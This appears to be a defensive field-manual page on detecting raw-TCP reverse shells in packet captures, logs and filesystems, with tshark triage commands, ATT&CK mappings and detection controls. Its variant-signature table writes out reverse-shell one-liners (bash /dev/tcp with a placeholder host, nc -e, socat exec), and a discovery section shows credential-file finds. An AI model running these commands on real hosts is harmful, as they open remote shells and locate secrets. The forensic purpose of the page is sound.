Analyst-side recognition and analysis of raw-TCP reverse-shell C2 in pcap, log, and filesystem evidence. Pcap conversation triage for the three orthogonal signals, mid-stream direction inference without a SYN, command reconstruction via tshark stream-following, variant recognition signatures, time-windowed file-discovery as counter-IR signal, ATT&CK stack, cross-correlation across pcap + auth.log + syslog + filesystem, detection control reference.


Pcap conversation triage

three orthogonal signals flag a reverse shell in a tshark -z conv,tcp summary:

  1. sustained duration when other conversations in the same capture are sub-second
  2. non-standard port (4444 / 9001 / 1337 / 65400 etc) with no encryption
  3. bidirectional command-response cadence (small request, larger response, repeated)
tshark -r file.pcap -q -z conv,tcp                   # one-shot conv summary
tshark -r file.pcap -q -z conv,tcp | sort -k7 -n -r  # sort by duration descending

GUI: Wireshark > Statistics > Conversations > TCP, sort by Duration column.


Direction inference without SYN

decision rule for mid-stream listener-side captures (no handshake recorded):

ObservedLikely role
host A sends short ASCII line, host B returns multi-line outputA = listener (attacker), B = victim
same flow: A sends cd /home, B returns nothingA = listener (cd is silent on success), B = victim
host A initiates with a banner or interactive promptA is the shell origin (could be either side, needs more evidence)
tshark -r file.pcap -Y 'tcp.stream eq <id> and (tcp.flags.syn==1 or tcp.flags.fin==1)'  # confirm no handshake
tshark -r file.pcap -q -z follow,tcp,ascii,<id> | head -20                              # first payloads to read direction

verifying SYN/FIN absence first prevents false direction inference. if the handshake IS in the capture, use it.


Command reconstruction

tshark -r file.pcap -q -z follow,tcp,ascii,<id>           # full session in payload order
tshark -r file.pcap -q -z follow,tcp,raw,<id> > out.bin   # raw bytes for binary protocols

application of the tshark stream-following idiom to reverse-shell sessions. each ASCII line is one attacker command or one victim output chunk. attacker typos (find --since '2 days ago' against GNU find which has no --since, predicate-after-path errors) argue for a human at the keyboard rather than an automated implant. record typos in the report as attribution-relevant detail.


Variant recognition signatures

distinguish reverse-shell variants by what follow,tcp,ascii emits at the start. recognition aids only. distinguishing variants helps cite the correct T1059 sub-technique and points response toward what other artefacts to expect on disk.

VariantInitial payload signatureNotes
nc -e /bin/shshell prompt direct (no banner), commands return plain-text outputDebian/Ubuntu netcat lacks -e. Victim ran ncat, busybox nc, or OpenBSD nc with --traditional
nc mkfifo (named-pipe construction)shell prompt direct, identical output to -evictim built a FIFO loop because -e was unavailable
bash -i >& /dev/tcp/host/port 0>&1bash prompt (bash-5.1$ ), tab-completion may echo backdistinguishable by the bash-N.N$ PS1
python -c 'import pty; pty.spawn(...)'full pty: prompt + control chars + clear-screen sequencestty allocated, history works, sudo prompts work
socat exec:/bin/bash,pty,stderrfull pty + socat-specific ANSI handlingrare, distinct from python pty by absence of import-error if shell start fails

Counter-IR signal: time-windowed file discovery

attacker find predicates with time windows rather than name patterns argue for counter-IR targeting. the attacker’s target is the analyst’s recent working files (incident-response artefacts, half-built timelines, draft reports):

find -mtime -1            # files modified in last 1 day
find -mtime -2 ./         # last 2 days (predicate-after-path syntax error - intent reads)
find -newer /tmp/.before  # files newer than reference

contrast with name-windowed discovery which is conventional T1083:

find / -name "*.pcap"  # discovery by file type
find / -name "*.kdbx"  # credential-file discovery

both classify as T1083 File and Directory Discovery. the time-windowed sub-pattern is worth flagging in the discovery section of the report. credential-targeting attackers use name-based discovery against *.kdbx, id_rsa, *.pem, wallet.dat and similar. time-window discovery against the analyst’s working dir signals counter-IR awareness instead.


ATT&CK stack for raw-TCP reverse shell

[T1059.004]  Command and Scripting Interpreter: Unix Shell
[T1095]      Non-Application Layer Protocol
[T1571]      Non-Standard Port
[T1083]      File and Directory Discovery

a single-tag classification (T1059.004 alone) misses the C2 channel and discovery layers. the four-stack is the minimum coverage for the C2 + Discovery report sections.


Cross-correlation

Pcap evidenceCorrelate againstWhy
listener IP + port + first-payload timestampvictim /var/log/auth.log SSH session startestablish whether the shell is post-SSH-session or alongside one
listener IP + first-payload timestampvictim /var/log/syslog for outbound NetworkManager / nf_conntrack entriesconfirms the outbound TCP exists in the victim’s connection log
attacker commands containing cd <path> or cat <file>victim filesystem find -newer <ref>files placed via the shell appear in find -newer against a reference predating the shell
attacker pty-spawn evidencevictim ~/.bash_history of the running userpty allocation means history can flush on session close

cross-correlation lifts a raw-TCP capture from “an outbound TCP” to “this attacker did these things on this host at these times”.


Detection + prevention reference

ControlWhereWhat it catches
Egress filter outbound TCP to non-standard portshost or network firewalldrops the connect-back before payload exchange
IDS rule on raw-TCP outbound + interactive cadenceIDS sensor on egress link, see Snort / Zeekflags long-lived sub-1500-byte bidirectional flows on uncommon ports
Baseline outbound connection inventory per hosthost or NSM”this host should never talk outbound on TCP/9001” is the lead
AppArmor / SELinux profile on web servicehostprevents apache child from spawning /bin/sh
Block nc / ncat / socat on production hostshost hardeningremoves the LOLBin path. Python and bash remain as fallback shell sources

Pitfalls

  • Do not conflate pcap + access log from different incidents: when paired evidence is supplied, verify the time window and IP space match before treating as one kill chain. different /24 or different month = independent scenarios
  • SYN absence != attack absence: listener-side capture started mid-session has no handshake. inferring “no attack happened” from “no SYN in pcap” is wrong
  • Single-tag T1059.004 fails C2 + discovery coverage: C2 channel needs T1095 + T1571, in-shell discovery needs T1083, the shell execution itself is T1059.004
  • ncat is not nc: Debian/Ubuntu netcat (ncat) uses different flags than OpenBSD nc. signatures looking for -e may miss ncat -e. signatures matching mkfifo only catch the FIFO-loop variant
  • Reverse shell over HTTPS / DNS / SMB tunnel does not match raw-TCP signals. those need protocol-aware detection (tshark / Zeek dpd) rather than conv-table triage
  • Attacker typos are forensic evidence: find --since and find -mtime -2 ./ (predicate-after-path) argue for a human at the keyboard. an automated implant would not throw these errors

Field Manual | tshark | Zeek | Snort | Linux Persistence Hunt | Web Log Triage | Log Triage